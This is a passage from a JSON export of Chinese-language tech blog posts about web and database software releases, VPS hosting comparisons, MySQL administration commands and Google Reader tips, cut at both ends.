XD\r\n\r\n資安的東西通常是愈複雜就愈容易被抓問題出來，在 SSL/TLS 的歷史包袱下，不知道什麼時候才想換 Encrypt-then-MAC 來改善底層問題...",
    "title": "SSL/TLS 的問題..."
  },
  {
    "id": "3176",
    "body": "微軟前幾天公開了 IE{7,8,9,10} 測試服務：「<a href=\"http://www.modern.ie/\">Testing made easier in Internet Explorer</a>」。\r\n\r\n測試服務包括：\r\n<ul>\r\n\t<li>網站版本，可以測試公開網站。</li>\r\n\t<li>虛擬機版本，可以測試內部網站。這次除了提供 <a href=\"http://www.microsoft.com/windows/virtual-pc/\">Virtual PC</a> 與 <a href=\"http://www.microsoft.com/en-us/server-cloud/hyper-v-server/default.aspx\">Hyper-V</a> 版本的映像檔外，還提供了 <a href=\"http://www.vmware.com/products/player/\">VMware Player</a> 與 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 版本。</li>\r\n</ul>\r\n不過這些檔案會不會太大了點... 我是抓 VirtualBox 版本，<code>IE10_Win8.zip</code> 居然有 2.7GB，為了真實模擬，所以把整個 Win8 包進去嗎 XDDD",
    "title": "微軟提供的 IE{7,8,9,10} 測試環境..."
  },
  {
    "id": "3177",
    "body": "<a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 出了新版，升級上去後 <a href=\"http://wordpress.org/\">WordPress</a> 就爛掉了，最後是先 downgrade 到 0.9.2.5，然後再進系統把 W3 Total Cache 完全 deactive...\r\n\r\n有看到升級資訊的人可以先等一下，這次的 0.9.2.5 到 0.9.2.6 不是 minor version upgrade：\r\n<pre>-rw-r--r--   1 gslin  staff   854455 Feb  6 04:12 w3-total-cache.0.9.2.3.zip\r\n-rw-r--r--   1 gslin  staff   915186 Feb  6 04:11 w3-total-cache.0.9.2.4.zip\r\n-rw-r--r--   1 gslin  staff   915384 Feb  6 04:02 w3-total-cache.0.9.2.5.zip\r\n-rw-r--r--   1 gslin  staff  1292961 Feb  6 04:11 w3-total-cache.0.9.2.6.zip</pre>\r\n看起來這個作者沒什麼版本號的觀念，之後升級他的東西小心一點... XD",
    "title": "W3 Total Cache 0.9.2.6 的災情慘重..."
  },
  {
    "id": "3178",
    "body": "<a href=\"http://www.oracle.com/\">Oracle</a> 正式將 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 推上線 (GA，General Availability)：「<a href=\"http://www.oracle.com/us/corporate/press/1904335\">Oracle Announces General Availability of MySQL 5.6</a>」。\r\n\r\n在官方的「<a href=\"http://dev.mysql.com/tech-resources/articles/whats-new-in-mysql-5.6.html\">What's New in MySQL 5.6</a>」有列出 MySQL 5.6 的進展。另外在 <a href=\"http://www.percona.com/\">Percona</a> 的創辦人 <a href=\"http://www.percona.com/about-us/our-team/peter-zaitsev\">Peter Zaitsev</a> 所整理的文章「<a href=\"http://www.mysqlperformanceblog.com/2013/01/27/mysql-5-6-improvements-in-the-nutshell/\">MySQL 5.6: Improvements in the Nutshell</a>」裡面也整理了一份資料。\r\n\r\n在 Oracle 的工程師的 blog 上可以看到不少說明 <a href=\"http://www.innodb.com/\">InnoDB</a> 在多 CPU 環境下的顯著進步，不過我是覺得看看就好... 進步是一定有，但實際用起來通常不會有官方說的那麼多 :p\r\n\r\n可以預期不久後 Percona 應該會丟出對應的版本 (至少之前已經有風聲了)，到時候就用 Percona 的版本吧。\r\n\r\n另外一方面，<a href=\"http://www.opensuse.org/\">openSUSE</a> 與 <a href=\"http://fedoraproject.org/\">Fedora</a> 都已經決定將系統內的 MySQL 改用 <a href=\"https://mariadb.org/\">MariaDB</a> 代替：\r\n<ul>\r\n\t<li><a href=\"http://lists.opensuse.org/opensuse-factory/2013-01/msg00298.html\">[opensuse-factory] MariaDB as a default MySQL</a>、<a href=\"http://en.opensuse.org/SDB:Switching_between_MySQL_variants\">SDB:Switching between MySQL variants</a>。</li>\r\n\t<li><a href=\"http://fedoraproject.org/wiki/Features/ReplaceMySQLwithMariaDB\">Features/ReplaceMySQLwithMariaDB</a>。</li>\r\n</ul>\r\n原因的話就不詳細寫了，上面有一些無關痛癢的官方說法。在「<a href=\"http://www.zdnet.com/oracle-who-fedora-and-opensuse-will-replace-mysql-with-mariadb-7000010640/\">Oracle who? Fedora &amp; openSUSE will replace MySQL with MariaDB</a>」報導裡寫的比較直接。\r\n\r\n大家對 Oracle 沒什麼好感 (於是 Solaris 的事情又被拿出來婊)，可以看到在 mailing list 上對 Oracle 的人酸溜溜的 XD",
    "title": "MySQL 5.6 上線，以及 openSUSE 與 Fedora 對 MySQL 的反擊..."
  },
  {
    "id": "3180",
    "body": "<a href=\"https://stripe.com/\">Stripe</a> 是家電子付款的新創公司，相較於既有的電子付款機制 (像是 <a href=\"https://www.paypal.com/\">PayPal</a>)，Stripe 所提供的工具與介面對開發者與使用者非常友善。\r\n\r\n昨天 Stripe 推出了即時將 <a href=\"http://www.mongodb.org/\">MongoDB</a> 的資料倒到 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的工具 <a href=\"https://github.com/stripe/mosql\">MoSQL</a>：「<a href=\"https://stripe.com/blog/announcing-mosql\">Announcing MoSQL</a>」。\r\n\r\n據官方說法，要撈資料的時候用 SQL 比較方便，而且每個人都懂 SQL，所以他們開發了 MoSQL：\r\n<blockquote>The thing is, we also love SQL. We love the ease of doing ad-hoc data analysis over small-to-mid-size datasets in SQL. We love doing JOINs to pull together reports summarizing properties across multiple datasets. We love the fact that virtually every employee we hire already knows SQL and is comfortable using it to ask and answer questions about data.</blockquote>\r\n由於 PostgreSQL 9.2 支援 JSON 資料結構，感覺很像是要逃離 MongoDB 的工具啊... 雖然官方都不承認 XD",
    "title": "Stripe 發表了將 MongoDB 資料倒到 PostgreSQL 的工具：MoSQL"
  },
  {
    "id": "3181",
    "body": "<a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 0.9.2.6 爛掉，於是出來 0.9.2.7，然後...：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2A5OYV6.webp\" /><img src=\"https://i.gslin.com/imgur/2A5OYV6.jpg\" alt=\"\" /></picture>\r\n\r\n我猜要到 0.9.2.9 (如果不照這個版號跳的話，就是再跳兩個版本) 才會正常 XD",
    "title": "W3 Total Cache 持續爛掉中..."
  },
  {
    "id": "3182",
    "body": "在「<a href=\"http://citusdata.com/blog/57-postgresql-full-text-search\">Analyzing PostgreSQL Email Archives with PostgreSQL</a>」這篇文章看到的，用 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 所提供的功能找出一些資訊... (像是 full text search 的功能)\r\n\r\n於是就產生出這樣的圖：(應該不用解釋？)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bobvu7x.webp\" /><img src=\"https://i.gslin.com/imgur/bobvu7x.jpg\" alt=\"\" /></picture>\r\n\r\n還有「Probability that a new thread gets a response」或是與 Competitors 相關的統計 XD",
    "title": "在 PostgreSQL 裡分析 PostgreSQL mailing list 行為..."
  },
  {
    "id": "3183",
    "body": "<a href=\"https://redports.org/\">redports.org</a> 是一項提供給 <a href=\"http://www.freebsd.org/\">FreeBSD</a> ports maintainer 的服務，可以把 ports 丟上去讓大家在 submit/commit 之前測試看看有沒有問題。\r\n\r\n服務在前陣子的 security intruson 而暫時離線後就開始重建 (參考 FreeBSD 官方在「<a href=\"http://www.freebsd.org/news/2012-compromise.html\">FreeBSD.org intrusion announced November 17th 2012</a>」的說明)，直到今天才恢復部份功能。\r\n\r\n目前只有開放讓之前有註冊的人可以 reset password，另外目前只有 9.1-RELEASE/amd64 與 9.1-RELEASE/i386 可以用，不過至少恢復部份功能讓大家測試。",
    "title": "redports.org 恢復部份功能..."
  },
  {
    "id": "3186",
    "body": "看到 <a href=\"http://jnlin.org/\">jnlin</a> 寫的「<a href=\"http://jnlin.org/2013/02/08/602/\">利用 Percona Playback warm-up MySQL 資料庫...</a>」，把之前用到的「<a href=\"http://blog.gslin.com/2012/06/pt-find-innodb-table.html\">用 pt-find 加熱 (暖機) InnoDB table</a>」改良讓他可以平行跑，儘可能吃完 I/O capacity：\r\n<blockquote><code>pt-find --charset=utf8 --print -h $1 -u USER -p PASSWORD | xargs -t -P8 -I% -n1 sh -c \"echo 'SELECT COUNT(*) FROM %;' | mysql -h $1 &gt; /dev/null\"</code></blockquote>",
    "title": "熱 MySQL 的方法..."
  },
  {
    "id": "3189",
    "body": "<a href=\"http://www.zite.com/\">Zite</a> 在「<a href=\"http://blog.zite.com/2013/02/07/zite-2-1-released/\">Zite 2.1 Released</a>」這邊公告了 2.1 版的改變，不看那些自吹自擂的文字，純粹就公開的數字，以及沒有公開的數字來看，可以看出 Zite 2.0 是一場災難...\r\n\r\n以這個例子來說：\r\n<blockquote>Before Zite 2.0, usage was split 71% on iPad, 29% on iPhone; after Zite 2.0, we’ve seen usage of 60% iPad, 40% iPhone</blockquote>\r\n提到 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 版使用率變高，但卻沒有提到整體使用率上升。這樣就可以解讀為 <a href=\"http://www.apple.com/ipad/\">iPad</a> 版在 2.0 變難用，而導致 iPad 用戶逃光了，所以 iPhone 比率上升...\r\n\r\n有個 2.1 版的功能對 iPad 用戶超重要：\r\n<blockquote>Swipe to close an article on the iPad – instead of having to click on the “X,” just swipe to the right to close an article on your iPad.</blockquote>\r\n在 reader mode 時，往右滑就可以關閉文章了。而不用去左上角按 X 按鈕...\r\n\r\n另外穩定性與效率的改善是在預期之中，之前的 2.0 版慢的有點... 呃...",
    "title": "Zite 改版：2.1"
  },
  {
    "id": "3190",
    "body": "太久沒用 <a href=\"http://subversion.apache.org/\">Subversion</a> 了，為了用 <a href=\"https://redports.org/\">redports.org</a> 才又接觸...\r\n\r\n在 <a href=\"http://git-scm.com/\">Git</a> 下改錯內容後可以用 <code>git checkout -f filename</code> 恢復，在 Subversion 下則是用 <code>revert</code> 恢復：\r\n<pre>svn revert filename</pre>\r\n在 <code>svn help revert</code> 可以看到完整的說明，包括恢復整個目錄的方式。",
    "title": "Subversion 還原檔案的方式..."
  },
  {
    "id": "3192",
    "body": "<a href=\"https://mariadb.org/\">MariaDB</a> 發表 MariaDB 10.0.1 了：「<a href=\"http://blog.mariadb.org/what-does-mariadb-10-0-1-include-available-now/\">What does MariaDB 10.0.1 include – available now</a>」。\r\n\r\n公告的文章把一些資訊整理出來讓大家與 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 比較... XD\r\n<ul>\r\n\t<li>MariaDB 10.0-only Features：只有 MariaDB 10.0 有的功能。</li>\r\n\t<li>MariaDB 10.0 Merged Features：從 MySQL 5.6 拉回來的功能。</li>\r\n\t<li>MariaDB 10.0 Reimplemented Features：兩邊都有的功能，不過 MariaDB 自己重新實作了 (重寫)。</li>\r\n\t<li>MariaDB 5.x Features now in MySQL 5.6：MySQL 5.6 從 MariaDB 5.x 拉的功能</li>\r\n\t<li>MariaDB 5.x Features Backported from MySQL 5.6：MariaDB 5.x 從 MySQL 5.6 拉出來的功能。</li>\r\n</ul>\r\n然後沒有列出 MySQL 5.6 有，但是 MariaDB 沒有的功能... XD\r\n\r\n先不管這些東西，10.0.1 多了 <a href=\"https://kb.askmonty.org/en/cassandra-storage-engine/\">Cassandra storage engine</a> 看起來就很有趣啊，可以透過 MySQL server 當 <a href=\"http://cassandra.apache.org/\">Cassandra</a> client 跑去 Cassandra Cluster 讀寫資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ld5MEVx.webp\" /><img src=\"https://i.gslin.com/imgur/Ld5MEVx.jpg\" alt=\"\" /></picture>\r\n\r\n看說明是透過 CQL 要資料，所以仍然是受限於 CQL 的能力。",
    "title": "MariaDB 10.0.1..."
  },
  {
    "id": "3193",
    "body": "目前的電腦與網路已經有能力一次掃完整個 IPv4：「<a href=\"http://www.securityartwork.es/2013/02/07/the-result-of-pinging-all-the-internet-ip-addresses/?lang=en\">The result of pinging all the Internet IP addresses</a>」。\r\n\r\n用 ping 不一定準確，因為目前 Windows 作業系統預設會開啟防火牆，不會接受 ping。不過仍然是個有趣的方法 :p\r\n\r\n首先是整個 IPv4 address space 只有 7% 的 IP address 會回應 ICMP ping：\r\n\r\n<img src=\"https://i.gslin.com/imgur/GbqKcT0.jpg\" alt=\"\" />\r\n\r\n另外有各 /8 的回應數量：\r\n\r\n<img src=\"https://i.gslin.com/imgur/kYFU8NY.jpg\" alt=\"\" />\r\n\r\n可以看到很多是空的... XD",
    "title": "Ping 整個 IPv4 的結果..."
  },
  {
    "id": "3194",
    "body": "<a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 0.9.2.8 出來幾個小時候蒐集到足夠的資料了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/J3G8k5b.webp\" /><img src=\"https://i.gslin.com/imgur/J3G8k5b.jpg\" alt=\"\" /></picture>\r\n\r\n下一個版本究竟會不會好呢... XD",
    "title": "W3 Total Cache 0.9.2.8..."
  },
  {
    "id": "3197",
    "body": "在 <a href=\"http://dev.mysql.com/\">MySQL</a> replication 發生錯誤後，需要一邊 skip replication error，一邊跑 <a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-table-sync.html\">pt-table-sync</a> 強制資料庫同步：\r\n<blockquote><code>while true; do ( echo 'SET GLOBAL sql_slave_skip_counter = 1; START SLAVE;' | mysql -h $1 ) || sleep 1; done</code></blockquote>\r\n那個 <code>sleep 1</code> 的設計是用在「如果 replication 正常，停一下再跑一次」的前提下而設計的；如果不需要的話拿掉也是 okay 的。\r\n\r\n要注意，能這樣跑的前提是 <code>max_connect_errors</code> 要開超大，我是設成 <code>max_connect_errors = 4294967295</code>。",
    "title": "跳過 MySQL replication 失敗的方法..."
  },
  {
    "id": "3198",
    "body": "看到 <a href=\"http://www.percona.com/\">Percona</a> 的人在討論 <a href=\"http://dev.mysql.com/tech-resources/articles/whats-new-in-mysql-5.6.html\">MySQL 5.6</a> 的 GTID (Global Transaction ID) 功能，剛剛就實際到 <a href=\"http://aws.amazon.com/\">AWS</a> 上開了兩台 m1.large 測試：「<a href=\"http://www.mysqlperformanceblog.com/2013/02/08/how-to-createrestore-a-slave-using-gtid-replication-in-mysql-5-6/\">How to create/restore a slave using GTID replication in MySQL 5.6</a>」。\r\n\r\n要測試 GTID，因為剛出來沒多久，沒有多少文件可以看。<a href=\"http://dev.mysql.com/\">MySQL</a> 官方的「<a href=\"http://dev.mysql.com/doc/refman/5.6/en/replication-gtids.html\">Replication with Global Transaction Identifiers</a>」是必讀的文件。查 MySQL 官方文件時可以發現 5.6.9 (RC) 到 5.6.10 (GA) 其實還是改了不少變數名稱，如果在網路上找舊文章照抄是不會動的...\r\n\r\n先提結論，<a href=\"http://www.codership.com/content/using-galera-cluster\">Galera Cluster</a> 畢竟出來很久了，成熟度比 GTID 高，建議現在先觀望一陣子，至少等 best practice 出來後再進場測試...\r\n\r\n之前的 MySQL replication 有很多方法可以在不停機，或是停的時間很短的情況下把第一份 slave 資料與 replication 資訊生出來，舉例來說：\r\n<ul>\r\n\t<li>系統如果用 InnoDB，可以用 <a href=\"http://www.percona.com/doc/percona-xtrabackup/\">Percona Xtrabackup</a> 拉出。</li>\r\n\t<li>系統如果用 XFS + LVM，可以用 FLUSH TABLES WITH READ LOCK + XFS freeze + snapshot 功能拉出。</li>\r\n\t<li>甚至直接用空的 slave 跑 <a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-table-sync.html\">pt-table-sync</a>...</li>\r\n</ul>\r\n但目前 MySQL 官方對 GTID 給的方式是 read only + mysqldump，這就算用 xtrabackup 也應該快不到哪吧... 這幾個月應該會一直有文章出現，裡面應該會有偷吃步的方法，看到再來測試看看 :o",
    "title": "MySQL 5.6 的 GTID..."
  },
  {
    "id": "3200",
    "body": "看到「<a href=\"http://www.networkworld.com/news/2013/020913-avg-finds-11-year-old-creating-266572.html\">AVG finds 11 year-old creating malware to steal game passwords</a>」這篇裡面的說明：\r\n<blockquote>The company said it had recently reverse-engineered one piece of malware that turned out to be the handiwork of an 11 year-old Canadian boy intent on stealing passwords used to access games such as Team Fortress.</blockquote>\r\nAVG 的報告是出自「<a href=\"http://mediacenter.avg.com/content/dam/mediacenter/threat-reports/AVG%20Threat%20Report%20Q4%202012_FINAL.pdf\">Q4 2012 AVG Community Powered Threat Report</a>」(PDF) 的第 17 頁。",
    "title": "十一歲就寫木馬的小朋友真是太有前途了..."
  },
  {
    "id": "3202",
    "body": "首先是澳洲國會正式發文要求 <a href=\"http://www.adobe.com/\">Adobe</a>、<a href=\"http://www.apple.com/\">Apple</a> 以及 <a href=\"http://www.microsoft.com/\">Microsoft</a> 解釋為什麼東西賣得比較貴：「<a href=\"http://tech.slashdot.org/story/13/02/11/0159255/australian-govt-forces-apple-adobe-microsoft-to-explain-price-hikes\">Australian Govt Forces Apple, Adobe, Microsoft To Explain Price Hikes</a>」、「<a href=\"http://delimiter.com.au/2013/02/11/please-explain-prices-parliament-subpoenas-apple-microsoft-adobe/\">Please explain prices: Parliament subpoenas Apple, Microsoft, Adobe</a>」。\r\n\r\n消息出來僅僅一天，Adobe 最先決定調降價錢：「<a href=\"http://yro.slashdot.org/story/13/02/12/142217/adobe-bows-to-pressure-and-cuts-australian-prices\">Adobe Bows To Pressure and Cuts Australian Prices</a>」、「<a href=\"http://afr.com/p/technology/adobe_cuts_australian_prices_after_BgBXyFaCrXRGNIrS1M2fNN\">Adobe cuts Australian prices after inquiry summons</a>」。\r\n\r\n調降的部份只包括月費服務的部份 (調到與美國一樣的價錢)，而軟體買斷的部份仍然不變... 接下來等國會的後續了。",
    "title": "Adobe 在澳洲降價：因為國會發正式公文要 Adobe 解釋為什麼賣的比其他地區貴..."
  },
  {
    "id": "3203",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 因為「<a href=\"http://jasonormand.com/2013/02/08/linode-vs-digitalocean-performance-benchmarks/\">Linode vs DigitalOcean, performance benchmarks</a>」這篇上了 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 熱門文章列表，把本來試用帳號的名額都用完了，現在要測試要自己花錢... XD\r\n\r\n原文是測效能 (I/O 速度與 CPU 速度)，我是看其他的部分：\r\n<ul>\r\n\t<li>價錢便宜又提供 SSD (看完提供的內容與品質後，居然還可以打趴 <a href=\"http://www.linode.com/\">Linode</a>，這真是低到不可思議 XD)，控制介面又是自己開發的，難怪會讓 Hacker News 的人熱起來...</li>\r\n\t<li>計費是 by hour，然後每個月的上限就是表列出來的金額，比起 Linode 是以天計算友善不少...</li>\r\n\t<li>目前機房的點有點少，只有美東 (New York) 與荷蘭 (Amsterdam)，我開美東的點測試，從台灣過去大約要 200ms，從 Linode 東京過去是 170ms。</li>\r\n\t<li>可以常見的 Linux 套件 (<a href=\"http://www.debian.org/\">Debian</a>、<a href=\"http://www.ubuntu.com/\">Ubuntu</a>、<a href=\"http://fedoraproject.org/\">Fedora</a>、<a href=\"https://www.archlinux.org/\">ArchLinux</a>、...)，32bits 或是 64bits 都有提供，我是裝 Debian 6.0 64bits 版本，然後直接用 apt 換成 wheezy 後重開是沒問題的，Linode 沒換成功過...</li>\r\n\t<li>網路看起來是 <a href=\"http://www.level3.com/\">Level3</a> + <a href=\"http://www.cogentco.com/\">Cogent</a>，而且是以 Level3 為主力，Cogent 的部份目前只有看到部分的 <a href=\"http://www.akamai.com/\">Akamai</a> 走 (<code>static.ak.fbcdn.net</code> 這組)，不過速度也沒什麼問題...</li>\r\n\t<li>紐約本來就是大點，各家 CDN 測起來都在當地有點。不過 <a href=\"http://www.cdnetworks.com/\">CDNetworks</a> 怎麼把 N2 (<code>n2.panthercdn.com</code>) 丟到華盛頓啊 (大約 8ms)，反而是 L1 (<code>l1.panthercdn.com</code>) 走紐約本地...</li>\r\n</ul>\r\n<a href=\"https://twitter.com/\">Twitter</a> 上已經看到 <a href=\"http://blog.tka.lu/\">tkalu</a> 已經把一些東西搬過去了：\r\n<blockquote class=\"twitter-tweet\"><p><a href=\"https://t.co/fLjEpmrX\" title=\"https://www.digitalocean.com/price-comparison-chart\">digitalocean.com/price-comparis…</a> 看了這比較就決定把 g0v 的玩具移到 digitalocean, 自己實測 $20 的方案 digitalocean 的 cpu 也比 linode 快上不少</p>&mdash; tka.lu (@tkalu) <a href=\"https://twitter.com/tkalu/status/301574245031485440\">February 13, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "DigitalOcean 與 Linode 的比較..."
  },
  {
    "id": "3205",
    "body": "<a href=\"http://www.opera.com/\">Opera</a> 決定放棄自己維護 render engine 了，將改用 <a href=\"http://www.webkit.org/\">WebKit</a>：「<a href=\"http://www.opera.com/press/releases/2013/02/13/\">Opera gears up at 300 million users</a>」。\r\n\r\n不確定是什麼樣的考量，我猜是為了省成本順便做的決定。翻了 <a href=\"http://gs.statcounter.com/\">gs.statcounter.com</a> 的資料，Opera 的全球佔有率愈來愈低，看起來還蠻有可能的？\r\n\r\n不過大多數的公司還是不管他吧：\r\n\r\n<a href=\"http://yuilibrary.com/yui/environments/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VgJ5xOF.webp\" /><img src=\"https://i.gslin.com/imgur/VgJ5xOF.jpg\" alt=\"YUI Target Environments\" /></picture></a>\r\n\r\n以及：\r\n\r\n<a href=\"https://support.google.com/mail/bin/answer.py?hl=en&amp;answer=6557\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xVHRptz.webp\" /><img src=\"https://i.gslin.com/imgur/xVHRptz.jpg\" alt=\"\" /></picture></a>",
    "title": "Opera 換 WebKit..."
  },
  {
    "id": "3206",
    "body": "續上篇「<a href=\"http://blog.gslin.org/archives/2013/02/13/3203/digitalocean-%E8%88%87-linode-%E7%9A%84%E6%AF%94%E8%BC%83/\">DigitalOcean 與 Linode 的比較...</a>」，先補上上次沒抓的圖，這是 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 可以用的 <a href=\"http://www.linux.org/\">Linux</a> Distribution：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mkpdQGM.webp\" /><img src=\"https://i.gslin.com/imgur/mkpdQGM.jpg\" alt=\"\" /></picture>\r\n\r\n這次仔細檢查發現 DigitalOcean 本身沒有提供 DNS resolver，是指到 <a href=\"https://developers.google.com/speed/public-dns/\">Google Public DNS</a>：\r\n<pre>nameserver 8.8.8.8\r\nnameserver 8.8.4.4</pre>\r\n從阿姆斯特丹的機器過去是透過 <a href=\"http://www.cogentco.com/\">Cogent</a> 到法國的 Google Public DNS，需要 10ms，這數字有點差。到是 <a href=\"http://www.opendns.com/\">OpenDNS</a> 的 <code>208.67.222.222</code> 是走 Tinet，就在當地處理掉，只需要 0.6ms 左右，但 OpenDNS 會把不存在的 hostname 指到他們自家...\r\n\r\n如果要用阿姆斯特丹機房的機器，在裝完機器後要記得 DNS 的部份可能要自己架，測試的時候是用 <a href=\"http://unbound.net/\">Unbound</a> 架一個給自己用...\r\n\r\n網路的部份：\r\n<ul>\r\n\t<li>從台灣過去大約 280ms，從 <a href=\"http://www.linode.com/\">Linode</a> 東京過去大約 265ms。</li>\r\n\t<li>看起來是 Cogent + Tinet，看不太出來是以 Cogent 還是以 Tinet 為主，traceroute 時兩者都不少。</li>\r\n\t<li>大多數的 CDN 都在阿姆斯特丹當地有點，所以都沒什麼問題。不過 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 把我丟到隔壁德國法蘭克福機房 (大約多了 7ms)。</li>\r\n\t<li>如預期的，連到俄羅斯的網站大多都是直連。</li>\r\n</ul>",
    "title": "測試 DigitalOcean 荷蘭阿姆斯特丹的機器..."
  },
  {
    "id": "3207",
    "body": "在「<a href=\"http://themattreid.com/wordpress/2013/02/13/the-innodb-quick-reference-guide-is-now-available/\">The InnoDB Quick Reference Guide is now available</a>」這邊看到有人把 <a href=\"http://dev.mysql.com/\">MySQL</a> 的 <a href=\"http://www.innodb.com/\">InnoDB</a> 資訊整理成書，電子書版本大約是 NTD$230 (用美金計算是寫這篇文章換算出來最便宜的價錢)。購買後有 PDF、Mobi 以及 ePub 版可以下載。\r\n\r\n<img src=\"https://i.gslin.com/imgur/dAU6b2y.jpg\" alt=\"\" />\r\n\r\n這本書適合打算要換 InnoDB、剛換 InnoDB，或是換了 InnoDB 但還沒遇過瓶頸的人閱讀。開頭的章節先解釋 InnoDB 有什麼特性，後面的章節會說明有哪些設定可以設，以及測試的工具。而最後面會說明要如何維護，以及要如何處理爛掉的狀況。",
    "title": "InnoDB Quick Reference Guide：對於剛接觸 InnoDB 的入門與參考書"
  },
  {
    "id": "3208",
    "body": "我一向不太喜歡 <a href=\"http://www.codership.com/content/using-galera-cluster\">Galera Cluster</a> + <a href=\"http://haproxy.1wt.eu/\">HAProxy</a> 的設計。有四個理由：\r\n<ul>\r\n\t<li>MySQL server 看不到 client 的 IP。</li>\r\n\t<li>HAProxy 本身就是 SPoF。</li>\r\n\t<li>HAProxy 會增加 latency，並且限制 bandwidth。</li>\r\n\t<li>通常需要額外的機器跑 HAProxy。</li>\r\n</ul>\r\n我把跑了超過半年的 Galera Cluster + <a href=\"http://www.linux-ha.org/wiki/Heartbeat\">Heartbeat</a> 的經驗貼到 <a href=\"http://www.codership.com/\">Codership</a> 的 Group 上，裡面包括了設定與 script，希望能有些迴響：「<a href=\"https://groups.google.com/forum/#!msg/codership-team/OUxATjcznPI/H8ftsjZwptAJ\">HA solution - Galera Cluster with Heartbeat</a>」。",
    "title": "Galera Cluster + Heartbeat"
  },
  {
    "id": "3211",
    "body": "<a href=\"http://ejohn.org/\">John Resig</a> (現在在 <a href=\"https://www.khanacademy.org/\">Khan Academy</a>) 在月初的時候發表了「<a href=\"http://ejohn.org/blog/keeping-passwords-in-source-control/\">Keeping Passwords in Source Control</a>」討論要怎麼儲存 credential。\r\n\r\n這不只是開發者的問題而已，這跟 code deploy 機制也很有關。目前沒有完美的方案，不同的解法都是在不同的環境與限制下而誕生出的產物。",
    "title": "各種 credential 儲存的方式 (像是連到資料庫的密碼)"
  },
  {
    "id": "3212",
    "body": "維基百科的「<a href=\"https://en.wikipedia.org/wiki/Content_delivery_network\">Content delivery network</a>」條目裡面有份列表 (「Notable content delivery service providers」這個段落)，不過剛剛在「<a href=\"http://www.stevesouders.com/blog/2013/02/16/http-archive-new-stats/\">HTTP Archive: new stats</a>」這篇文章裡面又看到一些沒看過的名字 (在「Sites hosting HTML on CDN」這個段落)，實際看了看發現還不少沒看過名字的 CDN...\r\n\r\n一個是 <a href=\"http://www.cubecdn.com/\">cubeCDN</a>，一家公司在土耳其的 CDN，但官網上一堆連結都失效 XD\r\n\r\n另外一個是 <a href=\"http://www.azion.com/\">Azion</a>，一家以巴西為主的 CDN，除了巴西以外，還有美東、英國、荷蘭、新加坡、日本。缺了美西是哪招...",
    "title": "看到許多其他的 CDN..."
  },
  {
    "id": "3213",
    "body": "在公司內被問過好幾次了，用口頭講都比較概略性的講一講。這篇文章算是欠稿欠很久了...\r\n\r\n對於剛開始用 <a href=\"https://www.google.com/reader\">Google Reader</a>，或是很少用的人，我給的建議「不要一次想要訂太多東西」，一步一步去試，每個人讀文章的習慣都不一樣，用 Google Reader 整理的「最佳方式」當然也會不一樣。\r\n\r\n可以嘗試的幾個方向：\r\n\r\n<h3>開 Official 的分類來放官方 blog/feed</h3>\r\n\r\n官方的 blog (或是 feed) 通常文章數量都不多，而因為官方的 blog 都官腔官腔，看的時候也需要抱著「這是官方的 blog」的心態看。拆一個獨立的分類放，集中一起看會是不錯的方式。\r\n\r\n你可能一時間想不到有哪些官方的 blog 可以訂。再拆細一點，你可以先從有付費的服務表列，這些是我有付錢的服務，如果有可以訂閱的 feed 我都一定會訂起來看：\r\n<ul>\r\n\t<li><a href=\"http://blog.pinboard.in/\">Pinboard Blog</a></li>\r\n\t<li><a href=\"http://blog.linode.com/\">Linode Blog</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/\">Amazon Web Services Blog</a></li>\r\n\t<li><a href=\"http://community.namecheap.com/blog/\">Namecheap Blog - Namecheap team blog</a></li>\r\n\t<li><a href=\"http://www.apple.com/rss/\">Apple - RSS Information</a></li>\r\n</ul>\r\n然後可以把現在沒付錢的常用服務也訂起來：\r\n<ul>\r\n\t<li><a href=\"http://googlereader.blogspot.com/\">Official Google Reader Blog</a> (這應該不用提醒？)</li>\r\n\t<li><a href=\"http://gmailblog.blogspot.com/\">Official Gmail Blog</a></li>\r\n\t<li><a href=\"http://blog.flickr.net/\">Flickr Blog</a></li>\r\n\t<li><a href=\"http://imgur.com/blog/\">imgur: the simple imgur blog</a></li>\r\n\t<li><a href=\"http://blog.delicious.com/\">Delicious Blog</a></li>\r\n</ul>\r\n然後常用的硬體、軟體都可以訂：\r\n<ul>\r\n\t<li><a href=\"http://newsroom.intel.com/\">Intel Newsroom | Top headlines, breaking news and current events from Intel</a> (要注意，Intel 有另外一個是員工寫半官方 blog，那邊的語氣不夠官腔，而且文章數量不適合放到 Official 分類)</li>\r\n\t<li><a href=\"http://chrome.blogspot.com/\">Google Chrome Blog</a></li>\r\n</ul>\r\n\r\n<h3>訂可以放空腦袋的圖片 blog/feed</h3>\r\n\r\n等到你的 Google Reader 放了不少資訊類的 feed 之後 (而且是只有資訊類的 feed)，你開 Google Reader 的次數就會愈來愈低... XD 為了解決這個問題，你要放「大量」可以放空腦袋的 feed，第一類推薦的就是圖片 (開個獨立的分類來放吧)，這可以去 <a href=\"http://www.tumblr.com/\">Tumblr</a> 上找，像是：\r\n<ul>\r\n\t<li><a href=\"http://ak47.tumblr.com/\">ak47</a> 